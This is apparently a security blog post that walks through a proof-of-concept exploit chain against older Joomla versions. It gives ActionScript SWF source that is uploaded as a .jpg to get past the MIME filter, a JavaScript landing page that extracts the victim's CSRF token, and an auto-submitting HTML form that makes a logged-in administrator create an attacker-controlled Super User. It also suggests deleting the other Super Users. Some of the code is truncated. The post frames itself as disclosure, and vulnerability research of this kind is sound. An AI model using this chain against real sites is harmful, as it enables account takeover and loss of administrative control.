CSRF token steal in Joomla

In this post we will see how you can bypass upload filters in Joomla and deliver a payload to steal victim session token.
With a little of effort, it's possible to trick a Super User to visit a malicious page and force him to create a new Super User for us.

See it in action

A video is worth a thousand words, so here you can see the the exploit in action:

The only pre-requisite is a user with upload privileges in any location on the filesystem (ie post editor, forum signature, user bio etc etc).
This exploit requires some back and forth to bend the Same Origin Policy to our will, so let's break down the whole process into smaller steps:

  1. Create a malicious SWF payload
  2. Upload to target website
  3. Create a malicious landing page (payload trigger)
  4. Acquire the session token and automatically create a new Super User

Create a malicious SWF payload

This file plays a crucial role in the exploit: it's our foot in the door that will allow us to work around the Same Origin Policy.
It allows the attacker to pass an URL as parameter while embedding the object; in turn the file will load such page and finally call the external function stealtoken passing the response (more on that later). Since the file is hosted on the same domain of the URL we're requesting, the website allows the connection and it will use the existing session to load the page.

package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.xml.*;
import flash.events.*;
import flash.net.*;

    public class joomla_poc extends Sprite{

        private var myloader:URLLoader;
        public function joomla_poc() {
            myloader = new URLLoader();
            var target:String = root.loaderInfo.parameters.input;
            var request:URLRequest = new URLRequest(target);
            try {
            } catch (error:Error) {
                steal("Something went wrong!");

        private function configureListeners(dispatcher:IEventDispatcher):void {
            dispatcher.addEventListener(Event.COMPLETE, completeHandler);

        private function completeHandler(event:Event):void {
            var myloader:URLLoader = URLLoader(event.target);
        private function steal(data:String):void{
            ExternalInterface.call("stealtoken", data);

Upload to target website

If we try to upload the SWF file using the original extension, it will blocked with the following error message:

Illegal mime type detected: application/octet-stream

That's correct, since Joomla will try to detect the raw MIME type from the file.
However, what happens if we rename it using the jpg extension?

Upload Complete: /joomla_poc.jpg

This happens because Joomla things it's dealing with an image, so it checks the MIME type using the function image_type_to_mime_type(exif_imagetype($file));. It will return application/x-shockwave-flash, bypassing the block and allowing the upload.

Creating a malicious landing page

This page both acts as exploit trigger and exploit callback. Here we embed the SWF object passing the the URL we want to fetch, then we handle the result once loading has completed (remember the function stealtoken?).
Once we have the full response, we can extract the session token and pass it to another page, which will do the final, evil, part (creating a new Super User).

function stealtoken(data) { 
console.log("StealToken invoked");
var match = /<input type="hidden" name="(.{32})"/g.exec(data);
alert('Your token is ' + match[1]);
// Change the host here 

<object id="myObject" width="400" height="400" allowscriptaccess="always" type="application/x-shockwave-flash" data="https://www.target.com/images/malicious_swf.jpg?input=https://www.target.com/administrator/index.php?option=com_users"><param name="AllowScriptAccess" value="always"></object>

Automatically create a new Super User

Now things are pretty straightforward here, we craft a form ready to create a new Super User. As soon as we have the session token from the previous step, we submit the form and the victim will create a new Super User for us.
With some effort it's possible to automate this section, for example on form submit notify a special page on attacker site that the exploit completed and immediately delete or modify any other Super User.

<form method="post" name="csrf" action="https://www.target.com/administrator/index.php?option=com_users&layout=edit">
      <input type="hidden" name="task" value="user.apply" />
      <input type="hidden" name="" value="1" />

      <input type="hidden" name="jform[name]" value="evil" />
      <input type="hidden" name="jform[username]" value="evil" />
      <input type="hidden" name="jform[password]" value="evil" />
      <input type="hidden" name="jform[password2]" value="evil" />
      <input type="hidden" name="jform[email]" value="evil@test.com" />
      <input type="hidden" name="jform[block]" value="0" />
      <input type="hidden" name="jform[id]" value="0" />
      <input type="hidden" name="jform[groups][]" value="2" />
      <input type="hidden" name="jform[groups][]" value="8" />



So let's recap the whole workflow:

  1. Attacker uploads the malicious SWF file on Target website
  2. Attacker craft a malicious landing page and lures Victim to check it out
  3. Victim (while logged on Target website backend) loads the malicious landing page. The following happens:
    • Victim loads the malicious SWF file
    • SWF file will request any page on Target website and extracts the session token
    • Victim is redirected another Attacker website, passing the token
    • A malicious form is automatically filled and submitted, creating a new Super User

Affected versions and conclusions

SWF files and application/x-shockwave-flash MIME types were allowed as default in Joomla until version 3.7.3, from that version onward new installations do not allow them.
However if you have an older version that you always updated, your site is still vulnerable, since the those default settings are still there. More info on the official Joomla site.


Blog Comments powered by Disqus.